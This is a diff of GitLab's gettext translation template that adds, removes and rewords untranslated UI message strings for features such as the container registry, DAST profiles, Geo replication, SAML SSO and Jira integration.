@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
